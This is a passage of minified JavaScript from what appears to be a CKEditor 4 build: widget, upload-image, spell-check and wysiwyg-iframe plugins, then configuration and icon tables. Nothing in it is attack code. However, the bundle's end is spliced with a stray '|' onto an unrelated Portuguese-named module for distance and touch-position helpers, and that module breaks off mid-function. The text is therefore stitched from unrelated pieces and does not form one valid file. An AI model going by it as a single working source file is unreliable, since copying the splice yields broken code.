b={x:b.offsetLeft,y:b.offsetTop-15};c&&b.x==c.x&&b.y==c.y||(c=a.checkDirty(),a.fire("lockSnapshot"),this.dragHandlerContainer.setStyles({top:b.y+"px",left:b.x+"px"}),this.dragHandlerContainer.removeStyle("display"),a.fire("unlockSnapshot"),!c&&a.resetDirty(),this._.dragHandlerOffset=b)}};CKEDITOR.event.implementOn(f.prototype);f.getNestedEditable=function(a,b){return!b||b.equals(a)?null:f.isDomNestedEditable(b)?b:f.getNestedEditable(a,b.getParent())};f.isDomDragHandler=function(a){return a.type==
CKEDITOR.NODE_ELEMENT&&a.hasAttribute("data-cke-widget-drag-handler")};f.isDomDragHandlerContainer=function(a){return a.type==CKEDITOR.NODE_ELEMENT&&a.hasClass("cke_widget_drag_handler_container")};f.isDomNestedEditable=function(a){return a.type==CKEDITOR.NODE_ELEMENT&&a.hasAttribute("data-cke-widget-editable")};f.isDomWidgetElement=function(a){return a.type==CKEDITOR.NODE_ELEMENT&&a.hasAttribute("data-widget")};f.isDomWidgetWrapper=function(a){return a.type==CKEDITOR.NODE_ELEMENT&&a.hasAttribute("data-cke-widget-wrapper")};
f.isDomWidget=function(a){return a?this.isDomWidgetWrapper(a)||this.isDomWidgetElement(a):!1};f.isParserWidgetElement=function(a){return a.type==CKEDITOR.NODE_ELEMENT&&!!a.attributes["data-widget"]};f.isParserWidgetWrapper=function(a){return a.type==CKEDITOR.NODE_ELEMENT&&!!a.attributes["data-cke-widget-wrapper"]};f.WRAPPER_CLASS_PREFIX="cke_widget_wrapper_";e.prototype=CKEDITOR.tools.extend(CKEDITOR.tools.prototypedCopy(CKEDITOR.dom.element.prototype),{setData:function(a){this._.initialSetData||
this.editor.widgets.destroyAll(!1,this);this._.initialSetData=!1;a=this.editor.dataProcessor.toDataFormat(a,{context:this.getName(),filter:this.filter,enterMode:this.enterMode});a=this.editor.dataProcessor.toHtml(a,{context:this.getName(),filter:this.filter,enterMode:this.enterMode});this.setHtml(a);this.editor.widgets.initOnAll(this)},getData:function(){return this.editor.dataProcessor.toDataFormat(this.getHtml(),{context:this.getName(),filter:this.filter,enterMode:this.enterMode})}});var P=/^(?:<(?:div|span)(?: data-cke-temp="1")?(?: id="cke_copybin")?(?: data-cke-temp="1")?>)?(?:<(?:div|span)(?: style="[^"]+")?>)?<span [^>]*data-cke-copybin-start="1"[^>]*>.?<\/span>([\s\S]+)<span [^>]*data-cke-copybin-end="1"[^>]*>.?<\/span>(?:<\/(?:div|span)>)?(?:<\/(?:div|span)>)?$/i,
S={37:1,38:1,39:1,40:1,8:1,46:1};S[CKEDITOR.SHIFT+121]=1;var R=CKEDITOR.tools.createClass({$:function(a,b){this._.createCopyBin(a,b);this._.createListeners(b)},_:{createCopyBin:function(a){var b=a.document,c=CKEDITOR.env.edge&&16<=CKEDITOR.env.version,d=!a.blockless&&!CKEDITOR.env.ie||c?"div":"span",c=b.createElement(d),b=b.createElement(d);b.setAttributes({id:"cke_copybin","data-cke-temp":"1"});c.setStyles({position:"absolute",width:"1px",height:"1px",overflow:"hidden"});c.setStyle("ltr"==a.config.contentsLangDirection?
"left":"right","-5000px");this.editor=a;this.copyBin=c;this.container=b},createListeners:function(a){a&&(a.beforeDestroy&&(this.beforeDestroy=a.beforeDestroy),a.afterDestroy&&(this.afterDestroy=a.afterDestroy))}},proto:{handle:function(a){var b=this.copyBin,c=this.editor,d=this.container,e=CKEDITOR.env.ie&&9>CKEDITOR.env.version,f=c.document.getDocumentElement().$,g=c.createRange(),h=this,k=CKEDITOR.env.mac&&CKEDITOR.env.webkit,l=k?100:0,m=window.requestAnimationFrame&&!k?requestAnimationFrame:setTimeout,
n,p,q;b.setHtml('\x3cspan data-cke-copybin-start\x3d"1"\x3e\x3c/span\x3e'+a+'\x3cspan data-cke-copybin-end\x3d"1"\x3e\x3c/span\x3e');c.fire("lockSnapshot");d.append(b);c.editable().append(d);n=c.on("selectionChange",F,null,null,0);p=c.widgets.on("checkSelection",F,null,null,0);e&&(q=f.scrollTop);g.selectNodeContents(b);g.select();e&&(f.scrollTop=q);return new CKEDITOR.tools.promise(function(a){m(function(){h.beforeDestroy&&h.beforeDestroy();d.remove();n.removeListener();p.removeListener();c.fire("unlockSnapshot");
h.afterDestroy&&h.afterDestroy();a()},l)})}},statics:{hasCopyBin:function(a){return!!R.getCopyBin(a)},getCopyBin:function(a){return a.document.getById("cke_copybin")}}});CKEDITOR.plugins.widget=f;f.repository=a;f.nestedEditable=e})();(function(){function a(a,b,c){this.editor=a;this.notification=null;this._message=new CKEDITOR.template(b);this._singularMessage=c?new CKEDITOR.template(c):null;this._tasks=[];this._doneTasks=this._doneWeights=this._totalWeights=0}function f(a){this._weight=a||1;this._doneWeight=
0;this._isCanceled=!1}CKEDITOR.plugins.add("notificationaggregator",{requires:"notification"});a.prototype={createTask:function(a){a=a||{};var b=!this.notification,c;b&&(this.notification=this._createNotification());c=this._addTask(a);c.on("updated",this._onTaskUpdate,this);c.on("done",this._onTaskDone,this);c.on("canceled",function(){this._removeTask(c)},this);this.update();b&&this.notification.show();return c},update:function(){this._updateNotification();this.isFinished()&&this.fire("finished")},
getPercentage:function(){return 0===this.getTaskCount()?1:this._doneWeights/this._totalWeights},isFinished:function(){return this.getDoneTaskCount()===this.getTaskCount()},getTaskCount:function(){return this._tasks.length},getDoneTaskCount:function(){return this._doneTasks},_updateNotification:function(){this.notification.update({message:this._getNotificationMessage(),progress:this.getPercentage()})},_getNotificationMessage:function(){var a=this.getTaskCount(),b={current:this.getDoneTaskCount(),max:a,
percentage:Math.round(100*this.getPercentage())};return(1==a&&this._singularMessage?this._singularMessage:this._message).output(b)},_createNotification:function(){return new CKEDITOR.plugins.notification(this.editor,{type:"progress"})},_addTask:function(a){a=new f(a.weight);this._tasks.push(a);this._totalWeights+=a._weight;return a},_removeTask:function(a){var b=CKEDITOR.tools.indexOf(this._tasks,a);-1!==b&&(a._doneWeight&&(this._doneWeights-=a._doneWeight),this._totalWeights-=a._weight,this._tasks.splice(b,
1),this.update())},_onTaskUpdate:function(a){this._doneWeights+=a.data;this.update()},_onTaskDone:function(){this._doneTasks+=1;this.update()}};CKEDITOR.event.implementOn(a.prototype);f.prototype={done:function(){this.update(this._weight)},update:function(a){if(!this.isDone()&&!this.isCanceled()){a=Math.min(this._weight,a);var b=a-this._doneWeight;this._doneWeight=a;this.fire("updated",b);this.isDone()&&this.fire("done")}},cancel:function(){this.isDone()||this.isCanceled()||(this._isCanceled=!0,this.fire("canceled"))},
isDone:function(){return this._weight===this._doneWeight},isCanceled:function(){return this._isCanceled}};CKEDITOR.event.implementOn(f.prototype);CKEDITOR.plugins.notificationAggregator=a;CKEDITOR.plugins.notificationAggregator.task=f})();"use strict";(function(){CKEDITOR.plugins.add("uploadwidget",{requires:"widget,clipboard,filetools,notificationaggregator",init:function(a){a.filter.allow("*[!data-widget,!data-cke-upload-id]")},isSupportedEnvironment:function(){return CKEDITOR.plugins.clipboard.isFileApiSupported}});
CKEDITOR.fileTools||(CKEDITOR.fileTools={});CKEDITOR.tools.extend(CKEDITOR.fileTools,{addUploadWidget:function(a,f,e){var b=CKEDITOR.fileTools,c=a.uploadRepository,m=e.supportedTypes?10:20;if(e.fileToElement)a.on("paste",function(e){e=e.data;var l=a.widgets.registered[f],d=e.dataTransfer,k=d.getFilesCount(),g=l.loadMethod||"loadAndUpload",m,r;if(!e.dataValue&&k)for(r=0;r<k;r++)if(m=d.getFile(r),!l.supportedTypes||b.isTypeSupported(m,l.supportedTypes)){var w=l.fileToElement(m);m=c.create(m,void 0,
l.loaderType);w&&(m[g](l.uploadUrl,l.additionalRequestParameters),CKEDITOR.fileTools.markElement(w,f,m.id),"loadAndUpload"!=g&&"upload"!=g||l.skipNotifications||CKEDITOR.fileTools.bindNotifications(a,m),e.dataValue+=w.getOuterHtml())}},null,null,m);CKEDITOR.tools.extend(e,{downcast:function(){return new CKEDITOR.htmlParser.text("")},init:function(){var b=this,e=this.wrapper.findOne("[data-cke-upload-id]").data("cke-upload-id"),d=c.loaders[e],f=CKEDITOR.tools.capitalize,g,m;d.on("update",function(c){if("abort"===
d.status&&"function"===typeof b.onAbort)b.onAbort(d);if(b.wrapper&&b.wrapper.getParent()){a.fire("lockSnapshot");c="on"+f(d.status);if("abort"===d.status||"function"!==typeof b[c]||!1!==b[c](d))m="cke_upload_"+d.status,b.wrapper&&m!=g&&(g&&b.wrapper.removeClass(g),b.wrapper.addClass(m),g=m),"error"!=d.status&&"abort"!=d.status||a.widgets.del(b);a.fire("unlockSnapshot")}else CKEDITOR.instances[a.name]&&a.editable().find('[data-cke-upload-id\x3d"'+e+'"]').count()||d.abort(),c.removeListener()});d.update()},
replaceWith:function(b,c){if(""===b.trim())a.widgets.del(this);else{var d=this==a.widgets.focused,e=a.editable(),f=a.createRange(),m,r;d||(r=a.getSelection().createBookmarks());f.setStartBefore(this.wrapper);f.setEndAfter(this.wrapper);d&&(m=f.createBookmark());e.insertHtmlIntoRange(b,f,c);a.widgets.checkWidgets({initOnlyNew:!0});a.widgets.destroy(this,!0);d?(f.moveToBookmark(m),f.select()):a.getSelection().selectBookmarks(r)}},_getLoader:function(){var a=this.wrapper.findOne("[data-cke-upload-id]");
return a?this.editor.uploadRepository.loaders[a.data("cke-upload-id")]:null}});a.widgets.add(f,e)},markElement:function(a,f,e){a.setAttributes({"data-cke-upload-id":e,"data-widget":f})},bindNotifications:function(a,f){function e(){b=a._.uploadWidgetNotificaionAggregator;if(!b||b.isFinished())b=a._.uploadWidgetNotificaionAggregator=new CKEDITOR.plugins.notificationAggregator(a,a.lang.uploadwidget.uploadMany,a.lang.uploadwidget.uploadOne),b.once("finished",function(){var c=b.getTaskCount();0===c?b.notification.hide():
b.notification.update({message:1==c?a.lang.uploadwidget.doneOne:a.lang.uploadwidget.doneMany.replace("%1",c),type:"success",important:1})})}var b,c=null;f.on("update",function(){!c&&f.uploadTotal&&(e(),c=b.createTask({weight:f.uploadTotal}));c&&"uploading"==f.status&&c.update(f.uploaded)});f.on("uploaded",function(){c&&c.done()});f.on("error",function(){c&&c.cancel();a.showNotification(f.message,"warning")});f.on("abort",function(){c&&c.cancel();CKEDITOR.instances[a.name]&&a.showNotification(a.lang.uploadwidget.abort,
"info")})}})})();"use strict";(function(){function a(a){9>=a&&(a="0"+a);return String(a)}function f(b){var c=new Date,c=[c.getFullYear(),c.getMonth()+1,c.getDate(),c.getHours(),c.getMinutes(),c.getSeconds()];e+=1;return"image-"+CKEDITOR.tools.array.map(c,a).join("")+"-"+e+"."+b}var e=0;CKEDITOR.plugins.add("uploadimage",{requires:"uploadwidget",onLoad:function(){CKEDITOR.addCss(".cke_upload_uploading img{opacity: 0.3}")},isSupportedEnvironment:function(){return CKEDITOR.plugins.clipboard.isFileApiSupported},
init:function(a){if(this.isSupportedEnvironment()){var c=CKEDITOR.fileTools,e=c.getUploadUrl(a.config,"image");e&&(c.addUploadWidget(a,"uploadimage",{supportedTypes:/image\/(jpeg|png|gif|bmp)/,uploadUrl:e,fileToElement:function(){var a=new CKEDITOR.dom.element("img");a.setAttribute("src","data:image/gif;base64,R0lGODlhDgAOAIAAAAAAAP///yH5BAAAAAAALAAAAAAOAA4AAAIMhI+py+0Po5y02qsKADs\x3d");return a},parts:{img:"img"},onUploading:function(a){this.parts.img.setAttribute("src",a.data)},onUploaded:function(a){var b=
this.parts.img.$;this.replaceWith('\x3cimg src\x3d"'+a.url+'" width\x3d"'+(a.responseData.width||b.naturalWidth)+'" height\x3d"'+(a.responseData.height||b.naturalHeight)+'"\x3e')}}),a.on("paste",function(h){if(h.data.dataValue.match(/<img[\s\S]+data:/i)){h=h.data;var l=document.implementation.createHTMLDocument(""),l=new CKEDITOR.dom.element(l.body),d,k,g;l.data("cke-editable",1);l.appendHtml(h.dataValue);d=l.find("img");for(g=0;g<d.count();g++){k=d.getItem(g);var n=k.getAttribute("src"),r=n&&"data:"==
n.substring(0,5),w=null===k.data("cke-realelement");r&&w&&!k.data("cke-upload-id")&&!k.isReadOnly(1)&&(r=(r=n.match(/image\/([a-z]+?);/i))&&r[1]||"jpg",n=a.uploadRepository.create(n,f(r)),n.upload(e),c.markElement(k,"uploadimage",n.id),c.bindNotifications(a,n))}h.dataValue=l.getHtml()}}))}}})})();CKEDITOR.plugins.add("wsc",{requires:"dialog",parseApi:function(a){a.config.wsc_onFinish="function"===typeof a.config.wsc_onFinish?a.config.wsc_onFinish:function(){};a.config.wsc_onClose="function"===typeof a.config.wsc_onClose?
a.config.wsc_onClose:function(){}},parseConfig:function(a){a.config.wsc_customerId=a.config.wsc_customerId||CKEDITOR.config.wsc_customerId||"1:ua3xw1-2XyGJ3-GWruD3-6OFNT1-oXcuB1-nR6Bp4-hgQHc-EcYng3-sdRXG3-NOfFk";a.config.wsc_customDictionaryIds=a.config.wsc_customDictionaryIds||CKEDITOR.config.wsc_customDictionaryIds||"";a.config.wsc_userDictionaryName=a.config.wsc_userDictionaryName||CKEDITOR.config.wsc_userDictionaryName||"";a.config.wsc_customLoaderScript=a.config.wsc_customLoaderScript||CKEDITOR.config.wsc_customLoaderScript;
a.config.wsc_interfaceLang=a.config.wsc_interfaceLang;CKEDITOR.config.wsc_cmd=a.config.wsc_cmd||CKEDITOR.config.wsc_cmd||"spell";CKEDITOR.config.wsc_version="v4.3.0-master-d769233";CKEDITOR.config.wsc_removeGlobalVariable=!0},onLoad:function(a){"moono-lisa"==(CKEDITOR.skinName||a.config.skin)&&CKEDITOR.document.appendStyleSheet(CKEDITOR.getUrl(this.path+"skins/"+CKEDITOR.skin.name+"/wsc.css"))},init:function(a){var f=CKEDITOR.env;this.parseConfig(a);this.parseApi(a);a.addCommand("checkspell",new CKEDITOR.dialogCommand("checkspell")).modes=
{wysiwyg:!CKEDITOR.env.opera&&!CKEDITOR.env.air&&document.domain==window.location.hostname&&!(f.ie&&(8>f.version||f.quirks))};"undefined"==typeof a.plugins.scayt&&a.ui.addButton&&a.ui.addButton("SpellChecker",{label:a.lang.wsc.toolbar,click:function(a){var b=a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?a.container.getText():a.document.getBody().getText();(b=b.replace(/\s/g,""))?a.execCommand("checkspell"):alert("Nothing to check!")},toolbar:"spellchecker,10"});CKEDITOR.dialog.add("checkspell",this.path+
(CKEDITOR.env.ie&&7>=CKEDITOR.env.version?"dialogs/wsc_ie.js":window.postMessage?"dialogs/wsc.js":"dialogs/wsc_ie.js"))}});(function(){function a(a){function b(a){var c=!1;g.attachListener(g,"keydown",function(){var b=l.getBody().getElementsByTag(a);if(!c){for(var d=0;d<b.count();d++)b.getItem(d).setCustomData("retain",!0);c=!0}},null,null,1);g.attachListener(g,"keyup",function(){var b=l.getElementsByTag(a);c&&(1==b.count()&&!b.getItem(0).getCustomData("retain")&&CKEDITOR.tools.isEmpty(b.getItem(0).getAttributes())&&
b.getItem(0).remove(1),c=!1)})}var e=this.editor;if(e&&!e.isDetached()){var l=a.document,d=l.body,k=l.getElementById("cke_actscrpt");k&&k.parentNode.removeChild(k);(k=l.getElementById("cke_shimscrpt"))&&k.parentNode.removeChild(k);(k=l.getElementById("cke_basetagscrpt"))&&k.parentNode.removeChild(k);d.contentEditable=!0;CKEDITOR.env.ie&&(d.hideFocus=!0,d.disabled=!0,d.removeAttribute("disabled"));delete this._.isLoadingData;this.$=d;l=new CKEDITOR.dom.document(l);this.setup();this.fixInitialSelection();
var g=this;CKEDITOR.env.ie&&!CKEDITOR.env.edge&&l.getDocumentElement().addClass(l.$.compatMode);CKEDITOR.env.ie&&!CKEDITOR.env.edge&&e.enterMode!=CKEDITOR.ENTER_P?b("p"):CKEDITOR.env.edge&&15>CKEDITOR.env.version&&e.enterMode!=CKEDITOR.ENTER_DIV&&b("div");if(CKEDITOR.env.webkit||CKEDITOR.env.ie&&10<CKEDITOR.env.version)l.getDocumentElement().on("mousedown",function(a){a.data.getTarget().is("html")&&setTimeout(function(){e.editable().focus()})});f(e);try{e.document.$.execCommand("2D-position",!1,!0)}catch(n){}(CKEDITOR.env.gecko||
CKEDITOR.env.ie&&"CSS1Compat"==e.document.$.compatMode)&&this.attachListener(this,"keydown",function(a){var b=a.data.getKeystroke();if(33==b||34==b)if(CKEDITOR.env.ie)setTimeout(function(){e.getSelection().scrollIntoView()},0);else if(e.window.$.innerHeight>this.$.offsetHeight){var c=e.createRange();c[33==b?"moveToElementEditStart":"moveToElementEditEnd"](this);c.select();a.data.preventDefault()}});CKEDITOR.env.ie&&this.attachListener(l,"blur",function(){try{l.$.selection.empty()}catch(a){}});CKEDITOR.env.iOS&&
this.attachListener(l,"touchend",function(){a.focus()});d=e.document.getElementsByTag("title").getItem(0);d.data("cke-title",d.getText());CKEDITOR.env.ie&&(e.document.$.title=this._.docTitle);CKEDITOR.tools.setTimeout(function(){"unloaded"==this.status&&(this.status="ready");e.fire("contentDom");this._.isPendingFocus&&(e.focus(),this._.isPendingFocus=!1);setTimeout(function(){e.fire("dataReady")},0)},0,this)}}function f(a){function b(){var d;a.editable().attachListener(a,"selectionChange",function(){var b=
a.getSelection().getSelectedElement();b&&(d&&(d.detachEvent("onresizestart",e),d=null),b.$.attachEvent("onresizestart",e),d=b.$)})}function e(a){a.returnValue=!1}if(CKEDITOR.env.gecko)try{var f=a.document.$;f.execCommand("enableObjectResizing",!1,!a.config.disableObjectResizing);f.execCommand("enableInlineTableEditing",!1,!a.config.disableNativeTableHandles)}catch(d){}else CKEDITOR.env.ie&&11>CKEDITOR.env.version&&a.config.disableObjectResizing&&b(a)}function e(){var a=[];if(8<=CKEDITOR.document.$.documentMode){a.push("html.CSS1Compat [contenteditable\x3dfalse]{min-height:0 !important}");
var b=[],e;for(e in CKEDITOR.dtd.$removeEmpty)b.push("html.CSS1Compat "+e+"[contenteditable\x3dfalse]");a.push(b.join(",")+"{display:inline-block}")}else CKEDITOR.env.gecko&&(a.push("html{height:100% !important}"),a.push("img:-moz-broken{-moz-force-broken-image-icon:1;min-width:24px;min-height:24px}"));a.push("html{cursor:text;*cursor:auto}");a.push("img,input,textarea{cursor:default}");return a.join("\n")}var b;CKEDITOR.plugins.add("wysiwygarea",{init:function(a){a.config.fullPage&&a.addFeature({allowedContent:"html head title; style [media,type]; body (*)[id]; meta link [*]",
requiredContent:"body"});a.addMode("wysiwyg",function(e){function f(g){g&&g.removeListener();a.isDestroyed()||a.isDetached()||(a.editable(new b(a,d.$.contentWindow.document.body)),a.setData(a.getData(1),e))}var l="document.open();"+(CKEDITOR.env.ie?"("+CKEDITOR.tools.fixDomain+")();":"")+"document.close();",l=CKEDITOR.env.air?"javascript:void(0)":CKEDITOR.env.ie&&!CKEDITOR.env.edge?"javascript:void(function(){"+encodeURIComponent(l)+"}())":"",d=CKEDITOR.dom.element.createFromHtml('\x3ciframe src\x3d"'+
l+'" frameBorder\x3d"0"\x3e\x3c/iframe\x3e');d.setStyles({width:"100%",height:"100%"});d.addClass("cke_wysiwyg_frame").addClass("cke_reset");l=a.ui.space("contents");l.append(d);var k=CKEDITOR.env.ie&&!CKEDITOR.env.edge||CKEDITOR.env.gecko;if(k)d.on("load",f);var g=a.title,n=a.fire("ariaEditorHelpLabel",{}).label;g&&(CKEDITOR.env.ie&&n&&(g+=", "+n),d.setAttribute("title",g));if(n){var g=CKEDITOR.tools.getNextId(),r=CKEDITOR.dom.element.createFromHtml('\x3cspan id\x3d"'+g+'" class\x3d"cke_voice_label"\x3e'+
n+"\x3c/span\x3e");l.append(r,1);d.setAttribute("aria-describedby",g)}a.on("beforeModeUnload",function(a){a.removeListener();r&&r.remove()});d.setAttributes({tabIndex:a.tabIndex,allowTransparency:"true"});!k&&f();a.fire("ariaWidget",d)})}});CKEDITOR.editor.prototype.addContentsCss=function(a){var b=this.config,e=b.contentsCss;CKEDITOR.tools.isArray(e)||(b.contentsCss=e?[e]:[]);b.contentsCss.push(a)};b=CKEDITOR.tools.createClass({$:function(){this.base.apply(this,arguments);this._.frameLoadedHandler=
CKEDITOR.tools.addFunction(function(b){CKEDITOR.tools.setTimeout(a,0,this,b)},this);this._.docTitle=this.getWindow().getFrame().getAttribute("title")},base:CKEDITOR.editable,proto:{setData:function(a,b){var f=this.editor;if(b)this.setHtml(a),this.fixInitialSelection(),f.fire("dataReady");else{this._.isLoadingData=!0;f._.dataStore={id:1};var l=f.config,d=l.fullPage,k=l.docType,g=CKEDITOR.tools.buildStyleHtml(e()).replace(/<style>/,'\x3cstyle data-cke-temp\x3d"1"\x3e');d||(g+=CKEDITOR.tools.buildStyleHtml(f.config.contentsCss));
var n=l.baseHref?'\x3cbase href\x3d"'+l.baseHref+'" data-cke-temp\x3d"1" /\x3e':"";d&&(a=a.replace(/<!DOCTYPE[^>]*>/i,function(a){f.docType=k=a;return""}).replace(/<\?xml\s[^\?]*\?>/i,function(a){f.xmlDeclaration=a;return""}));a=f.dataProcessor.toHtml(a);d?(/<body[\s|>]/.test(a)||(a="\x3cbody\x3e"+a),/<html[\s|>]/.test(a)||(a="\x3chtml\x3e"+a+"\x3c/html\x3e"),/<head[\s|>]/.test(a)?/<title[\s|>]/.test(a)||(a=a.replace(/<head[^>]*>/,"$\x26\x3ctitle\x3e\x3c/title\x3e")):a=a.replace(/<html[^>]*>/,"$\x26\x3chead\x3e\x3ctitle\x3e\x3c/title\x3e\x3c/head\x3e"),
n&&(a=a.replace(/<head[^>]*?>/,"$\x26"+n)),a=a.replace(/<\/head\s*>/,g+"$\x26"),a=k+a):a=l.docType+'\x3chtml dir\x3d"'+l.contentsLangDirection+'" lang\x3d"'+(l.contentsLanguage||f.langCode)+'"\x3e\x3chead\x3e\x3ctitle\x3e'+this._.docTitle+"\x3c/title\x3e"+n+g+"\x3c/head\x3e\x3cbody"+(l.bodyId?' id\x3d"'+l.bodyId+'"':"")+(l.bodyClass?' class\x3d"'+l.bodyClass+'"':"")+"\x3e"+a+"\x3c/body\x3e\x3c/html\x3e";CKEDITOR.env.gecko&&(a=a.replace(/<body/,'\x3cbody contenteditable\x3d"true" '),2E4>CKEDITOR.env.version&&
(a=a.replace(/<body[^>]*>/,"$\x26\x3c!-- cke-content-start --\x3e")));l='\x3cscript id\x3d"cke_actscrpt" type\x3d"text/javascript"'+(CKEDITOR.env.ie?' defer\x3d"defer" ':"")+"\x3evar wasLoaded\x3d0;function onload(){if(!wasLoaded)window.parent.CKEDITOR.tools.callFunction("+this._.frameLoadedHandler+",window);wasLoaded\x3d1;}"+(CKEDITOR.env.ie?"onload();":'document.addEventListener("DOMContentLoaded", onload, false );')+"\x3c/script\x3e";CKEDITOR.env.ie&&9>CKEDITOR.env.version&&(l+='\x3cscript id\x3d"cke_shimscrpt"\x3ewindow.parent.CKEDITOR.tools.enableHtml5Elements(document)\x3c/script\x3e');
n&&CKEDITOR.env.ie&&10>CKEDITOR.env.version&&(l+='\x3cscript id\x3d"cke_basetagscrpt"\x3evar baseTag \x3d document.querySelector( "base" );baseTag.href \x3d baseTag.href;\x3c/script\x3e');a=a.replace(/(?=\s*<\/(:?head)>)/,l);this.clearCustomData();this.clearListeners();f.fire("contentDomUnload");var r=this.getDocument();try{r.write(a)}catch(w){setTimeout(function(){r.write(a)},0)}}},getData:function(a){if(a)return this.getHtml();a=this.editor;var b=a.config,e=b.fullPage,f=e&&a.docType,d=e&&a.xmlDeclaration,
k=this.getDocument(),e=e?k.getDocumentElement().getOuterHtml():k.getBody().getHtml();CKEDITOR.env.gecko&&b.enterMode!=CKEDITOR.ENTER_BR&&(e=e.replace(/<br>(?=\s*(:?$|<\/body>))/,""));e=a.dataProcessor.toDataFormat(e);d&&(e=d+"\n"+e);f&&(e=f+"\n"+e);return e},focus:function(){this._.isLoadingData?this._.isPendingFocus=!0:b.baseProto.focus.call(this)},detach:function(){var a=this.editor,e=a.document,a=a.container.findOne("iframe.cke_wysiwyg_frame");b.baseProto.detach.call(this);this.clearCustomData(this._.expandoNumber);
e.getDocumentElement().clearCustomData();CKEDITOR.tools.removeFunction(this._.frameLoadedHandler);a&&(a.clearCustomData(),(e=a.removeCustomData("onResize"))&&e.removeListener(),a.isDetached()||a.remove())}}})})();CKEDITOR.config.disableObjectResizing=!1;CKEDITOR.config.disableNativeTableHandles=!0;CKEDITOR.config.disableNativeSpellChecker=!0;CKEDITOR.config.plugins="dialogui,dialog,a11yhelp,about,basicstyles,blockquote,notification,button,toolbar,clipboard,panel,floatpanel,menu,contextmenu,elementspath,indent,indentlist,list,enterkey,entities,popup,filetools,filebrowser,floatingspace,listblock,richcombo,format,horizontalrule,htmlwriter,image,fakeobjects,link,magicline,maximize,pastetools,pastefromgdocs,pastefromlibreoffice,pastefromword,pastetext,removeformat,resize,menubutton,scayt,showborders,sourcearea,specialchar,stylescombo,tab,table,tabletools,tableselection,undo,lineutils,widgetselection,widget,notificationaggregator,uploadwidget,uploadimage,wsc,wysiwygarea";
CKEDITOR.config.skin="moono-lisa";(function(){var a=function(a,e){var b=CKEDITOR.getUrl("plugins/"+e);a=a.split(",");for(var c=0;c<a.length;c++)CKEDITOR.skin.icons[a[c]]={path:b,offset:-a[++c],bgsize:a[++c]}};CKEDITOR.env.hidpi?a("about,0,,bold,24,,italic,48,,strike,72,,subscript,96,,superscript,120,,underline,144,,bidiltr,168,,bidirtl,192,,blockquote,216,,copy-rtl,240,,copy,264,,cut-rtl,288,,cut,312,,paste-rtl,336,,paste,360,,codesnippet,384,,bgcolor,408,,textcolor,432,,copyformatting,456,,creatediv,480,,docprops-rtl,504,,docprops,528,,easyimagealigncenter,552,,easyimagealignleft,576,,easyimagealignright,600,,easyimagealt,624,,easyimagefull,648,,easyimageside,672,,easyimageupload,696,,embed,720,,embedsemantic,744,,emojipanel,768,,exportpdf,792,,find-rtl,816,,find,840,,replace,864,,flash,888,,button,912,,checkbox,936,,form,960,,hiddenfield,984,,imagebutton,1008,,radio,1032,,select-rtl,1056,,select,1080,,textarea-rtl,1104,,textarea,1128,,textfield-rtl,1152,,textfield,1176,,horizontalrule,1200,,iframe,1224,,image,1248,,indent-rtl,1272,,indent,1296,,outdent-rtl,1320,,outdent,1344,,justifyblock,1368,,justifycenter,1392,,justifyleft,1416,,justifyright,1440,,language,1464,,anchor-rtl,1488,,anchor,1512,,link,1536,,unlink,1560,,bulletedlist-rtl,1584,,bulletedlist,1608,,numberedlist-rtl,1632,,numberedlist,1656,,mathjax,1680,,maximize,1704,,newpage-rtl,1728,,newpage,1752,,pagebreak-rtl,1776,,pagebreak,1800,,pastefromword-rtl,1824,,pastefromword,1848,,pastetext-rtl,1872,,pastetext,1896,,placeholder,1920,,preview-rtl,1944,,preview,1968,,print,1992,,removeformat,2016,,save,2040,,scayt,2064,,selectall,2088,,showblocks-rtl,2112,,showblocks,2136,,smiley,2160,,source-rtl,2184,,source,2208,,sourcedialog-rtl,2232,,sourcedialog,2256,,specialchar,2280,,table,2304,,templates-rtl,2328,,templates,2352,,uicolor,2376,,redo-rtl,2400,,redo,2424,,undo-rtl,2448,,undo,2472,,simplebox,4992,auto,spellchecker,2520,",
"icons_hidpi.png"):a("about,0,auto,bold,24,auto,italic,48,auto,strike,72,auto,subscript,96,auto,superscript,120,auto,underline,144,auto,bidiltr,168,auto,bidirtl,192,auto,blockquote,216,auto,copy-rtl,240,auto,copy,264,auto,cut-rtl,288,auto,cut,312,auto,paste-rtl,336,auto,paste,360,auto,codesnippet,384,auto,bgcolor,408,auto,textcolor,432,auto,copyformatting,456,auto,creatediv,480,auto,docprops-rtl,504,auto,docprops,528,auto,easyimagealigncenter,552,auto,easyimagealignleft,576,auto,easyimagealignright,600,auto,easyimagealt,624,auto,easyimagefull,648,auto,easyimageside,672,auto,easyimageupload,696,auto,embed,720,auto,embedsemantic,744,auto,emojipanel,768,auto,exportpdf,792,auto,find-rtl,816,auto,find,840,auto,replace,864,auto,flash,888,auto,button,912,auto,checkbox,936,auto,form,960,auto,hiddenfield,984,auto,imagebutton,1008,auto,radio,1032,auto,select-rtl,1056,auto,select,1080,auto,textarea-rtl,1104,auto,textarea,1128,auto,textfield-rtl,1152,auto,textfield,1176,auto,horizontalrule,1200,auto,iframe,1224,auto,image,1248,auto,indent-rtl,1272,auto,indent,1296,auto,outdent-rtl,1320,auto,outdent,1344,auto,justifyblock,1368,auto,justifycenter,1392,auto,justifyleft,1416,auto,justifyright,1440,auto,language,1464,auto,anchor-rtl,1488,auto,anchor,1512,auto,link,1536,auto,unlink,1560,auto,bulletedlist-rtl,1584,auto,bulletedlist,1608,auto,numberedlist-rtl,1632,auto,numberedlist,1656,auto,mathjax,1680,auto,maximize,1704,auto,newpage-rtl,1728,auto,newpage,1752,auto,pagebreak-rtl,1776,auto,pagebreak,1800,auto,pastefromword-rtl,1824,auto,pastefromword,1848,auto,pastetext-rtl,1872,auto,pastetext,1896,auto,placeholder,1920,auto,preview-rtl,1944,auto,preview,1968,auto,print,1992,auto,removeformat,2016,auto,save,2040,auto,scayt,2064,auto,selectall,2088,auto,showblocks-rtl,2112,auto,showblocks,2136,auto,smiley,2160,auto,source-rtl,2184,auto,source,2208,auto,sourcedialog-rtl,2232,auto,sourcedialog,2256,auto,specialchar,2280,auto,table,2304,auto,templates-rtl,2328,auto,templates,2352,auto,uicolor,2376,auto,redo-rtl,2400,auto,redo,2424,auto,undo-rtl,2448,auto,undo,2472,auto,simplebox,2496,auto,spellchecker,2520,auto",
"icons.png")})()}})(); |
export function distanciaEuclidiana(pontoA, pontoB) {
if (!pontoA || !pontoB)
return NaN;
const diffX = pontoA.x - pontoB.x;
const diffY = pontoA.y - pontoB.y;
return Math.sqrt(diffX * diffX + diffY * diffY);
}
export function getPositionFromEvent(event) {
if (event.touches && event.touches.length > 0) {
return { x: event.touches[0].screenX, y: event.touches[0].screenY };
}
